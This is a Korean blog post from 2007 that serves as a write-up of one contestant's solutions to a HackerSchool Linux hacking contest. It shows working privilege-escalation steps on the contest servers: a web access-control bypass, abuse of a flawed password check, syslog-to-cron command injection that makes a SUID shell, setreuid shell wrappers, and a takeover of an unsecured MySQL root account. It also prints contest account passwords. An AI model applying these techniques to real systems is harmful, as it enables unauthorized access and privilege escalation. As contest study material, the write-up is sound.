제4회 Hacking The Linux Contest 보고서

돼지털라이프 | 2007/06/25 09:30

(해커스쿨 제4회 해킹이벤트때 작성한 공격 보고서)
#####################
# 0x01. remote -> guta #
#####################

1. 구타와 멍멍의 대화 내용을 통해 다음의 주소들을 알아낸다.
http://218.149.4.122/~guta/  (구타의 홈페이지)
http://218.149.4.122/~mung/  (멍멍이의 홈페이지)

2. 구타의 비밀일기장을 통해 적수보드 로그인 주소(http://218.149.4.122/~guta/jsboard/login.php?type=admin)를 알아낸다.

3. 멍멍이 적수보드의 회원가입을 한 후 멍멍이 적수보드에 로그인(http://218.149.4.122/~mung/jsboard/login.php?type=admin)한다.

4. 로그인 하면 게시판 좌측 하단을 통해 유저관리 주소(http://218.149.4.122/~mung/jsboard/user.php?type=mung) 획득한다.

5. 구타의 적수보드에도 적용(http://218.149.4.122/~guta/jsboard/user.php?table=mung)시켜보면 유저관리 화면이 나타난다.

6. 정해지 않은 유저의 이름과 패스워드 변경 페이지가 뜬다. (캡쳐 파일: http://badnom.com/zboard/data/love/Untitled_1.jpg)

7. 대충 적고 CHANGE를 클릭한 후, 비밀일기장(http://218.149.4.122/~guta/jsboard/list.php?table=secret)에 접근하면 관리자 권한으로 구타의 비밀일기장의 글을 볼 수가 있다.

==========================================================================
IP : attack.hackerschool.org
ID : guta
PASS : gjqjrwl
==========================================================================


####################
# 0x02. guta -> level1 #
####################

 
auth의 소스가 공개된 후에야 풀 수 있었다.
==================================auth.c==================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void print_error(char *prog)
{
        fprintf(stdout, "Usage : %s password\n", prog);
        exit(-1);
}
 
int main(int argc, char *argv[])
{
        FILE *fp;
        char password[40];
        char *pointer1, *pointer2;

        // 입력 에러 처리
        if(argc!=2)
                print_error(argv[0]);

        // Correct Password Loading
        fp = fopen("/home/guta/QUESTION/Password.txt", "r");
        fgets(password, 40, fp);
        password[strlen(password)-1] = '\0';
        fclose(fp);
 
        pointer1 = password;
        pointer2 = argv[1];
 
        // 입력한 문자열과 Correct Password를 비교
        while(*pointer2){
                if(*(pointer2++) != *(pointer1++)){
                        fprintf(stdout, "Password is not correct!\n");
                        return -1;
                }
        }

        // 맞다면 인증 통과
        printf("Wow! You got the new shell\n");
        setreuid(505, 505);
        system("/bin/bash -p");
}
==========================================================================

1. Password.txt 와 argv[1]의 주소를 각각 pointer1과 pointer2에 할당한다.
2. *pointer1과 *pointer2의 두 문자열을 while()을 통해 *pointer2가 참일때 까지 루프를 돌린다.
3. if()를 통해 *pointer1과 *pointer2의 문자열을 차례대로 비교하여 다르면 표준에러를 출력한다.

만약 위와 같은 소스라면 *pointer1이 mirinda라면 *pointer2에 m 만 입력하더라도 while()을 정상적으로 통과하여 다음 레벨의 권한을 회득할 수 있다. 차례대로 키보드의 문자들을 입력하다 보면 아래와 같이 통과할 수 있다.

==========================================================================
[guta@attack QUESTION]$ ./auth [
Wow! You got the new shell
[level1@attack QUESTION]$ id
uid=505(level1) gid=504(guta) groups=504(guta)
==========================================================================


#####################
# 0x03. level1 -> level2 #
#####################

접속하면 "2차 암호를 입력하시오. : " 라는 메시지가 나온다.
종료 시그널(Ctrl + C)을 보내면 된다.
진짜 문제를 위해

hint 파일을 통해 SYSLOGD와 관련이 있다는걸 알아내고 환경 파일(/etc/syslog.conf)을 확인해 본다.
하단의 다음과 같은 내용이 있다.

==========================================================================
# for hacking contest
# this script excutes by crond every minute
local5.warning  /home/level2/QUESTION/backdoor.sh
==========================================================================

대충 의미를 보면 local5.warning 상태에서 backdoor.sh 에 로그를 남기고
backdoor.sh 스크립트 파일이 10분마다 crond에 의해 실행된다는 내용이다.
만약 backdoor.sh안에 메시지를 전달할 수 있다면 우리가 원한는 스크립트를 실행할 수 있다.
이는 syslog() 함수를 통해 해결할 수 있다.

정리해보면 syslog()로 backdoor.sh에 원하는 스크립트 입력 backdoor.sh는 crond에 의해 10분마다 실행
다음은 syslog() 함수를 이용해 backdoor.sh에 메시지를 전달하는 소스이다.

==========================================================================
[level1@attack tmp]$ cat > sys.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main()
{
syslog(LOG_WARNING|LOG_LOCAL5, ";/bin/cp /bin/ash /tmp/mirinda;");
syslog(LOG_WARNING|LOG_LOCAL5, ";/bin/chmod 6755 /tmp/mirinda;");
}
[level1@attack tmp]$ gcc -o sys sys.c
[level1@attack tmp]$ ./sys
==========================================================================

실행시키면 backdoor.sh파일에

;/bin/cp /bin/ash /tmp/mirinda;
;/bin/chmod 6755 /tmp/mirinda;
 
의 내용이 추가된다. crond에 의해 backdoor.sh가 실행되면 스크립트 내용대로 아래와 같은 파일이 생성된다.

==========================================================================
[level1@attack tmp]$ ls -al mirinda
-rwsr-sr-x    1 level2   level2     626028  6월 28 18:39 mirinda
==========================================================================
 
이 파일을 -p 옵션을 주고 실행시키면 level2의 euid와 egid 권한을 얻을 수 있다
 
==========================================================================
[level1@attack tmp]$ ./mirinda -p
mirinda-2.05b$ id
uid=505(level1) gid=505(level1) euid=506(level2) egid=506(level2) groups=505(level1)
mirinda-2.05b$
==========================================================================
 
uid와 gid를 얻기 위해 다음의 작업을 추가로 해준다.
 
==========================================================================
mirinda-2.05b$ cat > get.c
#include <unistd.h>
 
int main()
{
        setreuid(506, 506);
        setregid(506, 506);
        system("/bin/ash");
}
 
mirinda-2.05b$ gcc -o get get.c
mirinda-2.05b$ chmod 6755 get
mirinda-2.05b$ ./get
$ id
uid=506(level2) gid=506(level2) groups=505(level1)
==========================================================================
 

#####################
# 0x04. level2 -> level3 #
#####################

level3에 접속하면 다음과 같은 메시지를 뿌린다.
 
==========================================================================
Sorry, I stole your GID authority.
uid=507(level3) gid=506(level2) groups=507(level3)
==========================================================================
 
level3에 접속하여 힌트를 보니
 
==========================================================================
uid -> gid
Can you do this?
==========================================================================
 
level3의 쉘을 보니 /home/level3/only_uid_shell 이다. 정상적인 shell이 아니다.
즉, 권한이 gid만 506인 상태이다. 이 상태에선 register에 등록을 할 수가 없다.
 
only_uid_shell의 내용을 살펴보면 setregid() 함수로 gid를 506으로 바꾸고,
system() 함수로 명령어 id를 실행하고, system() 함수로 /bin/bash를 실행한다.
 
system() 함수에서 id를 절대경로를 쓰지 않은걸 보고, 혹시 환경변수를 이용하면 될까해서 이것저것 해보았는데 아니였다.
hint를 통해 chgrp란 명령어를 이용한다는 걸 알고, 다음과 같은 작업으로 level3의 gid를 획득할 수 있었다.
 
==========================================================================
bash-2.05b$ cat > get.c
int main()
{
        setreuid(507, 507);
        setregid(507, 507);
        system("/bin/ash");
}
 
bash-2.05b$ gcc -o get get.c
bash-2.05b$ chmod 6755 get
bash-2.05b$ ls -al get
-rwsr-sr-x    1 level3   level2      11764 Jun 29 18:11 get
bash-2.05b$ chgrp level3 get
bash-2.05b$ ls -al get
-rwsr-sr-x    1 level3   level3      11764 Jun 29 18:11 get
bash-2.05b$ ./get
$ id
uid=507(level3) gid=507(level3) groups=507(level3)
==========================================================================
ps> 리눅스 공부 다시 해야 겠다. chgrp란 명령어 몰랐다.-_-;
 

#####################
# 0x05. level3 -> guru1 #
#####################

이번에도 접속하자마자 "돌아온 2차 암호맨"이 2차 암호를 입력하라고 한다.
이번에도 종료 시그널(Ctrl + C)을 보냈더니 막아놨다.
하지만 다음과 같은 작업으로 종료 시그널을 보내면 된다.
 
==========================================================================
[w0rm9@madnom w0rm9]$ telnet
telnet> open guru.hackerschool.org
Trying 218.149.4.32...
Connected to guru.hackerschool.org.
Escape character is '^]'.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ +                      +                                 + ┃
┃    !!!!! Welcome to HackerSchool Hacking Event !!!!!       ┃
┃ +                                                        + ┃
┃     "The Fourth Hacking The Linux Server Festival"         ┃
┃                                                            ┃
┃ [ 타겟 서버 2에 접속하셨습니다. 좋은 결과 있길 바랍니다. ] ┃
┃     :: 아직 등록 신청을 하지 않으신 분은 해커스쿨 ::       ┃
┃     :: 사이트를 통해 등록 하시면 됩니다.          ::   +   ┃
┃+                                                         + ┃
┃                       +                                  + ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
 
login: guru1
Password:
Last login: Sun Jun 29 06:20:49 from 211.109.195.217
* 돌아온 2차 암호맨 *
2차 암호를 입력하세요. :  <- 여기서 Ctrl + ]
telnet> send abort
종료 시그널을 보내셨습니다.
[guru1@guru guru1]$
==========================================================================
 
나중에 안 사실이자만
'Ctrl + \' 로도 종료 시그널을 보낼 수 있고, zterm에서 Ctrl + 4 로 종료 시그널을 보낼 수 있다.
 

#####################
# 0x06. guru1 -> guru2 #
#####################

 
guru1에 대한 hint 파일을 보니 힌트를 보니 디버깅만이 해결책이라고 한다. 그런데 r권한이 없어서 gdb를 쓰지 못한다.
100부터 세그뜨길래 간단하게 egg띄우고 해도 안되고, 아귀먼트를 주지 않고 실행시키면 Using argv[1] 인가..?하는 문장이 뜨길래 argv[2]에 쉘코드를 넣고 찍기를 해봐도 안되고... 혹시 다른 파일이 이용해서 푸는 문제인가 싶어서 guru1권한의 파일들을 검사해 봤다. 그런데 /RegisterRoom의 퍼미션이 열려있었다. 이곳에 통과자 인증을 하는 auth_guru2.c라는 파일이 있었는데 해당소스를 통해 guru2의 패스워드를 획득할 수 있었다.

=============================auth_guru2.c=================================
#include <stdio.h>
#include <time.h>
 
int main()
{
        struct tm *tm_ptr;
        time_t the_time;
        char serial[21];
        char message[100];
        FILE *fp;
 
        printf("축하합니다.!\n");
        printf("고유번호를 입력해 주십시오 : ");
        fgets(serial, 20, stdin);
 
        time(&the_time);
        tm_ptr = gmtime(&the_time);
 
        sprintf(message, "%02d:%02d:%02d, %s", tm_ptr->tm_hour-15,
        tm_ptr->tm_min, tm_ptr->tm_sec, serial);
        fp = fopen("/RegisterRoom/check_guru2.txt", "a");
        fputs(message, fp);
        fclose(fp);
 
        printf("등록 완료되었습니다.\n");
        printf("guru2의 패스워드는 woaldlTek입니다.\n");
}
==========================================================================
 
 
#####################
# 0x07. guru2 -> guru3 #
#####################

 
역시 /RegisterRoom의 auth_guru3.c 라는 파일을 보고 guru3의 패스워드를 획득할 수 있었다.
 
=============================auth_guru3.c=================================
#include <stdio.h>
#include <time.h>
 
int main()
{
        struct tm *tm_ptr;
        time_t the_time;
        char serial[21];
        char message[100];
        FILE *fp;
 
        printf("축하합니다.!\n");
        printf("고유번호를 입력해 주십시오 : ");
        fgets(serial, 20, stdin);
 
        time(&the_time);
        tm_ptr = gmtime(&the_time);
 
        sprintf(message, "%02d:%02d:%02d, %s", tm_ptr->tm_hour-15,
        tm_ptr->tm_min, tm_ptr->tm_sec, serial);
        fp = fopen("/RegisterRoom/check_guru3.txt", "a");
        fputs(message, fp);
        fclose(fp);
 
        printf("등록 완료되었습니다.\n");
        printf("guru3의 패스워드는 whrmaaksej입니다.\n");
}
==========================================================================
 
 
###############
# 0x08. 대회후기 #
###############

 
처음에 auth_guru2.c와 auth_guru3.c 파일을 보고 바로 guru2로 넘어갔고, guru3으로 넘어갈려고 했다.(워낙 사악한지라..)
그런데 문제를 풀던 승원군에게 그 얘길 하자....
 
[01:18] <xxxx????> 나중에
[01:18] <xxxx????> 만약에 구루4 깨면
[01:18] <xxxx????> 계획서 낼때
[01:18] <xxxx????> 어떻게 할려고
 
라고 하면서 말렸다. 그래서 관리자한테 알리고, 다시 guru1에서부터 다시 밤샘하면서 열심히 삽질했다. 하지만 다음날 아침 공지의 내용을 보고 내 몸안에 있던 사악한 기운이...
 
==========================================================================
안녕하세요? 해커스쿨 운영자입니다.
테스트를 해 본 결과 커널 업데이트 과정에서 guru1->guru2 문제의
취약점이 이미 패치되었다는 것을 뒤늦게 알게 되었습니다.
기존의 2.4.20에서 가능했던 실행 권한으로만 디버깅을 할 수 있었던
커널 상의 취약점이 2.4.20-8 버젼으로 업그레이드 되면서 수정되었던 것입니다.
저희는 guru1->guru2 통과자가 나타난 것을 보고 이 문제에 문제가 없다고
판단하고 있었으나, 확인해 본 결과 secuboy님은 다른 hole을 이용하여 레벨을
올리셨다는 사실을 알게 되었습니다.
따라서, guru1->guru2 문제를 변형하여 새로운 문제로 재출제하기로 결정하였습니다.
이미 새로운 문제가 재설치된 상태이니, 이 문제를 대상으로 계속 대회를 진행해
주시면 감사하겠습니다. 신속히 이 문제를 인식하지 못한 것에 죄송하단 말씀 드립니다.
그럼 남은 대회 시간까지 최선을 다해 임해주시기 바랍니다. 감사합니다.
==========================================================================
 
아까 기록해 놓았던 guru2와 guru3의 패스워드를 보고 (워낙 사악한지라 기록까지-_-;) guru3으로 가서 root를 공략했으나, guru2, guru3도 못깬 실력으로 root를 깨는건 불가능했다. 덕분에 row socket 공부만 잘 했다. ;-]
 
아, 그리고 guru서버에 mysql돌고 있길래(별로 필요없어보이는), 혹시나 했더니 역시나, mysql root을 세팅 안해놨길래 mysqladmin으로 mysql root도 먹었다. 별거아니지만...
/bin 디렉에 mysqladmin 과 mysqldump 등 몇몇 파일이 실행권한까지 같이 주어져있길래..혹시 문제랑 관련있나해서..-_-
 
==========================================================================
/bin/ 디렉토리에  있는 몇몇 파일에 오류가 생긴 것을 복구하도록 하겠습니다.
약 10분 정도 후에 다시 접속해 주시기 바랍니다.
==========================================================================
 
이 공지보고 속았다...공지에 속지말자...속은 내가 바보지만-_-;;;;
 
마지막으로, 대회를 준비해주신 멍멍님을 비롯한 출제위원 분들께 감사드립니다.
덕분에 공부 잘했습니다. 너무너무 재밌었고요.^^ 기본의 중요성을 새삼 느꼈습니다.(chgrp-_-;)
다음 대회에도 멋진 대회 기대할께요.
같이 알콩달콩 재미있게 문제 풀어준 승원군에게도 고맙다는 말을...
 
______________________________________eof________________________________

Trackback Address :: http://badnom.com/trackback/281
Name
Password
Homepage
Secret
< PREV |  1  |  ...  751  |  752  |  753  |  754  |  755  |  756  |  757  |  758  |  759  |  ...  983  |  NEXT >